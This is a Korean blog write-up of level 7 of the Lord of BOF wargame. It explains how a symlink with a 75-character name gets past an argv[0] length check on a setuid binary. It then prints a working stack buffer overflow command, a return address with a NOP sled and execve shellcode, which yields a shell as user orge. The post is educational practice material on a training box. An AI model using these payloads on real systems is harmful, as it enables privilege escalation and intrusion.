본문 바로가기
스터디/wargames

[BOF-Wargames] LOB Load of BOF LEVEL7 (darkelf -> orge) 문제풀이

by 깝태 2011. 8. 19.

-------------------------------------------------------------------------------------------------------------------------
LOB Level7 [ Darkelf-> Orge ]
-------------------------------------------------------------------------------------------------------------------------

[darkelf@localhost darkelf]$ ls
orge  orge.c  xodnr

[darkelf@localhost darkelf]$ ./orge
argv error

[darkelf@localhost darkelf]$ cat orge.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n"); 
// argv[0] == Program Name, 파일이름의 길이가 77 이 아닐경우 에러가 출력되면서 프로그램이 종료됩니다.
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

# 인자헌터 + 에그헌터 + 버퍼헌터
# 새로운 헌터가 추가되었습니다. 네임헌터?!
# 이 헌터는 Argv[0] 까지 접근을 합니다. Argv[0] != 77,
# 즉 프로그램 이름의 길이가 77자가 아니라면 프로그램은 종료됩니다.

아까 바이너리 파일 디버깅 한게 도움이 많이 되겠군요,
Argv[0] 은 프로그램의 네임을 뜻합니다.

그러면 어떻게 해야 할까요? 프로그램의 이름을 수정할까요?
바로가기아시죠?

리눅스 시스템에도 바로가기가 존재합니다. 바로 심볼릭 링크라는게 존재합니다.
심볼릭 링크란 '어떤 파일을 가리키는 파일'을 말합니다. 

http://kin.naver.com/qna/detail.nhn?d1id=1&dirId=1040203&docId=69358992&qb=66as64iF7IqkIOyLrOuzvOumrSDrp4Htgaw=&enc=utf8&section=kin&rank=2&search_sort=0&spq=0&pid=gCWQ8c5Y7uZssvHOdi0ssc--180253&sid=Tktf8PKFSk4AAD5dPtI

심볼릭링크를 생성하는 방법은 다음과 같습니다. ln -s 파일네임 복사할파일네임

ex) ln -s one two

이러면 two 라는 바로가기 파일이 생기는데, 아무런 내용도 없습니다. 
단지 실행하면 파일 one 에 연결해주는 역할을 합니다.

그러면 우리가 공격해야 하는 대상의 파일에 심볼릭 링크를 걸어봅시다.

[darkelf@localhost darkelf]$ ls
orge  orge.c  xodnr
 
[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "a"*77'`

파이썬 스크립트를 이용해 프로그램 이름의 길이가 77 인 프로그램을 만들었습니다.

[darkelf@localhost darkelf]$ ls
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
orge
orge.c
xodnr

좀 더 정확하게 보겠습니다.

[darkelf@localhost darkelf]$ ls -l
total 24
lrwxrwxrwx    1 darkelf  darkelf         4 Jun  6 10:21 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -> orge // 이 부분을 보고 심볼릭링크가 걸려있다는 것을 확인할 수 있습니다.!
-rwsr-sr-x    1 orge     orge        12700 Mar  1  2010 orge
-rw-r--r--    1 root     root          800 Mar 29  2010 orge.c
drwxrwxr-x    2 darkelf  darkelf      4096 Jun  6 10:13 xodnr

[darkelf@localhost darkelf]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
argv error

정상적으로 프로그램이 실행됩니다.

그러면 저 심볼릭링크가 걸려있는 파일을 대상으로 페이로드를 구성해봅시다.
공격방식은 전과 같습니다.

Argv[1] == "\xbf"*48 / Argv[2] == 무수히 많은 NOP + SHELLCODE
바로 bash2 만 실행하고 전에 사용했던 스크립트를 사용하겠습니다.
**********(이게 계속 사용할 수 있는 이유는 아까 말했지만 Argv[2] 를 RET 의 주소로 해주었는데
무수히 많은 NOP 가 들어있어 주소값 오차가 아무리 큰다하들 권한을 획득할 수 있다.)**********

[darkelf@localhost darkelf]$ bash2

[darkelf@localhost darkelf]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "\xbf"*44 + "\x2e\x87\xff\xbf"'` `python -c 'print "\x90"*30000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
argv[0] error

엇?! 정상적으로 프로그램이 실행되어야하는데 여기서 에러가 출력됩니다.
왜 그런지는 상대경로에 문제가 있습니다.

우선 Argv[0] 이 과연 프로그램 이름을 인자로 받는다고 하였는데 어떻게 받을까요?
이럴떄는 직접 코딩을 해서 확인해봅시다.

[darkelf@localhost xodnr]$ cat orgetest.c
#include<stdio.h>

int main(int argc, char *argv[])
{
        printf("%s\n", argv[0]);
}

이러한 소스를 구성했습니다.

[darkelf@localhost xodnr]$ ls
orgetest.c

[darkelf@localhost xodnr]$ gcc -o orgetest orgetest.c

[darkelf@localhost xodnr]$ ./orgetest
./orgetest

뭐가 문제인지 눈치채셨습니까?

Argv[0] 에서 프로그램을 인자로 받을때는
orgetest 로 받는게 아닌 ./ 가 붙은 ./orgetest 가 붙기 때문에
우리는 심볼릭링크로 저장해줄떄 *77 이 아닌 *75 를 해줘야됩니다.

그러면 다시 한번 75 로 저장하고 페이로드를 구성하고 공략해보겠습니다.

[darkelf@localhost xodnr]$ cd ..

[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "a"*75'`

[darkelf@localhost darkelf]$ ls
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -> 길이가 75 인 orge
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -> 길이가 77 인 orge
orge
orge.c
xodnr

[darkelf@localhost darkelf]$

[darkelf@localhost darkelf]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "\xbf"*44 + "\x2e\x87\xff\xbf"'` `python -c 'print "\x90"*30000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿.‡ÿ¿

bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)

bash$ my-pass
euid = 507
[ 패스워드 ]

성공적으로 문제가 풀어졌습니다.
상대경로는 위와같이 현재 위치에서 보는 파일의 경로이며 절대경로는 파일의 전체경로 입니다.